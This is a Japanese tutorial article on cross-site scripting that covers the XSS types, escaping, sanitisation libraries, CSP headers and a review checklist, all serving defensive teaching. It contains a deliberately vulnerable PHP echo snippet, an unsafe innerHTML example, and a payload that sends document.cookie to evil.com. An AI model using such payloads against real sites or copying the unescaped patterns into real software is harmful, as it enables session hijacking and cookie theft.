この記事は学習用です。ChatGPT と GitHub Copilot を使っています。
1. 導入:クロスサイトスクリプティングとは
クロスサイトスクリプティング(XSS: Cross-Site Scripting)は、Webアプリケーションにおける代表的な脆弱性の一つである。
攻撃者が悪意のあるスクリプトをユーザーのブラウザで実行させることで、Cookieの窃取、セッション乗っ取り、フィッシングなどを引き起こす。
XSSは入力値の検証不足や出力エスケープの欠如により発生しやすく、特に動的にHTMLを生成するWebアプリで頻発する。
2. XSSの発生原理
Webページがユーザー入力をHTML内に直接埋め込む場合、悪意のあるJavaScriptが実行される。
例えば次のような掲示板フォームを考える。
<form method="GET">
<input type="text" name="message">
<input type="submit" value="送信">
</form>
<p>あなたのメッセージ:<?php echo $_GET["message"]; ?></p>
このとき、ユーザーが以下を入力した場合:
<script>alert('XSS攻撃');</script>
ブラウザ上では実際にJavaScriptが実行され、alert
が表示される。
これはサーバー側が入力値をエスケープせずに出力しているためである。
3. XSSの種類
XSSは大きく以下の3種類に分類される。
種類 | 概要 | 例 |
---|---|---|
反射型(Reflected XSS) | URLパラメータなどにスクリプトを含め、レスポンスに即時反映される | 検索フォームなど |
永続型(Stored XSS) | 攻撃スクリプトがDBに保存され、閲覧者全員に影響する | 掲示板・コメント欄 |
DOM型(DOM-based XSS) | クライアント側のJavaScriptでDOM操作時に発生 | innerHTML 操作など |
DOM型はサーバーを介さず、フロントエンドのスクリプト処理中に発生する点が特徴である。
4. 攻撃の影響と実例
攻撃者がXSSを悪用すると、以下のような被害が発生する:
- Cookieの窃取によるセッション乗っ取り
- 偽フォームによるフィッシング
- ブラウザのリダイレクトによるマルウェア配布
- Webサイトの改ざん(見た目・内容の書き換え)
たとえば、攻撃者が <script>document.location='http://evil.com?cookie='+document.cookie</script>
を埋め込んだ場合、被害者のセッション情報(HttpOnly が付与されていない場合の Cookie 等)が第三者に送信される。
5. 防止策と実装方法
XSSを防ぐための基本対策は、入力値の検証 と 出力時のエスケープ である。
(1) 出力エスケープ
HTMLに文字列を出力する際には、特別な文字(<, >, &, ", ')をエスケープする。
PHPの場合:
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
JavaScript内に値を埋め込む場合は、JSON.stringify()
などを使って安全にエスケープする。
(2) 入力値のサニタイズ
サーバー側で入力内容を検査し、不要なタグやスクリプトを除去する。
たとえば、HTMLPurifier(PHPライブラリ)や DOMPurify(JavaScriptライブラリ)が利用できる。
(3) Content Security Policy(CSP)
CSP(コンテンツセキュリティポリシー)は、ブラウザが実行できるスクリプトの出所を制限するHTTPヘッダーである。
例:
Content-Security-Policy: script-src 'self';
これにより、外部サイトからのスクリプト読み込みを防止できる。
6. フレームワークにおける自動対策
多くのWebフレームワークはXSS対策を標準装備している。
フレームワーク | デフォルトの対策 |
---|---|
Laravel(PHP) | Bladeテンプレートで {{ }} が自動エスケープ |
Django(Python) | テンプレートで自動エスケープ |
React(JavaScript) | JSXで値を自動的にエスケープ(dangerouslySetInnerHTML を除く) |
ただし、例外的に「手動HTML挿入」を行う場合は危険であり、開発者の責任で安全性を確保する必要がある。
7. テストと検証
XSSの脆弱性を検出するためには、静的解析・動的解析の両面から検証する。
- Burp Suite や OWASP ZAP による動的テスト
- eslint-plugin-security などによるコード静的解析(必要に応じて
eslint-plugin-no-unsanitized
等の導入も検討) - OWASP XSS Cheat Sheet を参考に攻撃パターンを網羅的に確認
脆弱性が見つかった場合は、出力箇所を特定し、エスケープ処理の有無を再確認する。
8. DOM操作フロー
何を扱うか
ブラウザ側でのDOM生成・イベント処理の一般的な流れを示す。どの箇所で不適切な操作(innerHTML
など)が入り込むとDOM型XSSが発生するかを可視化する。
なぜ重要か
DOM型XSSはサーバーを介さず発生するため、サーバー側の対策だけでは防げない。フロントエンドのどの箇所を見れば良いかを図で把握できると、レビュー・テストが効率化する。
どのように行うか(図の読み方と適用方法)
図のノードは次を表す:User Input
→ Event Handler
→ DOM Update
→ Rendered Page
。DOM Update
の経路で innerHTML
/ insertAdjacentHTML
等が使われていると危険領域になる。レビュー時にはこの経路のすべてで textContent
/ setAttribute
/ DOMPurify 等で防御できているか確認する。
補足(実装例)
- 危険な例(NG):
// 危険:ユーザー入力をそのままinnerHTMLに入れる
const el = document.getElementById('out');
el.innerHTML = location.search; // 危険
- 安全な代替(OK):
// 安全:textContent を使う、または明示的にサニタイズする
const el = document.getElementById('out');
const params = new URLSearchParams(location.search).get('q') || '';
el.textContent = params; // エスケープ済み
// または DOMPurify.sanitize(params) を使ってから innerHTML に挿入する
9. 攻撃経路(攻撃者視点のMermaid図)
何を扱うか
反射型・永続型・DOM型それぞれの典型的な攻撃フローを、攻撃者視点で段階的に示す。どのフェーズで検出・阻止できるかを示すことで、防御設計につなげる。
なぜ重要か
攻撃のライフサイクル(作成→配置→実行→悪用)を理解すると、どの段階でログやWAF、CSP、エスケープ等を配置すべきかが明確になる。
どのように行うか(図の読み方と対策)
各ノードに対して対応策を併記してレビューする。たとえば「入力受信」→サニタイズ、「保存」→保存前にエンコード、「配信」→出力時にエスケープ、など。
対策マッピング(簡易)
- 投稿フォームでの保存前検査:入力バリデーション、正規化
- 出力時エスケープ:HTMLエスケープ(コンテキストに応じたエスケープ)
- フロントエンド安全化:
textContent
使用、DOMPurify導入、危険API使用の禁止 - 配信レイヤ:CSP適用、HttpOnly/Secure Cookie、WAFルール
10. 図から読み取る具体的対処(チェックリスト)
何を扱うか
図で示した各ノードに対する、実務的なチェックリストとコードポイントを示す。レビュー・QA工程でそのまま使える。
なぜ重要か
可視化→チェックリスト化すると、レビュー時に見落としが減る。開発フロー(PRレビュー、セキュリティテスト)に組み込みやすい。
どのように行うか(チェック項目)
- 入力受領(サーバー側)
- 全入力に対し型チェック・長さチェックを行っているか
- HTMLタグを期待しないフィールドはタグを除去しているか
- 保存(DB)
- 保存前にサニタイズまたはエンコードしているか(※ただし出力時のエスケープを基本とする)
- 出力(サーバーからクライアント)
- HTMLコンテキストに応じたエスケープを行っているか(HTML本文、属性、URL、JS、CSSそれぞれ)
- テンプレートエンジンの自動エスケープを無効にしていないか
- フロントエンド(クライアント)
innerHTML
/insertAdjacentHTML
の使用を最小限にしているか- どうしても使用する場合はDOMPurify等でサニタイズしているか
- 外部スクリプトの読み込みを制限するCSPを設定しているか
- 運用・検知
- XSSパターンを検出するWAFルールを導入しているか
- 重大度の高いインシデント時にCookie再発行・セッション無効化手順を用意しているか
簡易コマンド例(CSPヘッダー設定)
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';
# PHP (レスポンスヘッダ)
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';");
# Nginx 設定例 (server ブロック内)
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self';" always;
# 追加の運用メモ
- HttpOnly と Secure(必要に応じて SameSite)フラグをセッションCookieに付与する
- 重大インシデント発生時は即時セッション無効化・パスワードリセット対応を行う
11. まとめ
クロスサイトスクリプティングは「入力値を信頼しない」という原則の欠如によって発生する。
攻撃は簡単である一方、被害は大きく、Webサービス全体の信頼性を損なう。
開発時に「出力エスケープの徹底」「CSPの導入」「安全なテンプレートエンジンの利用」を行うことで、XSSのリスクを大幅に軽減できる。
コメント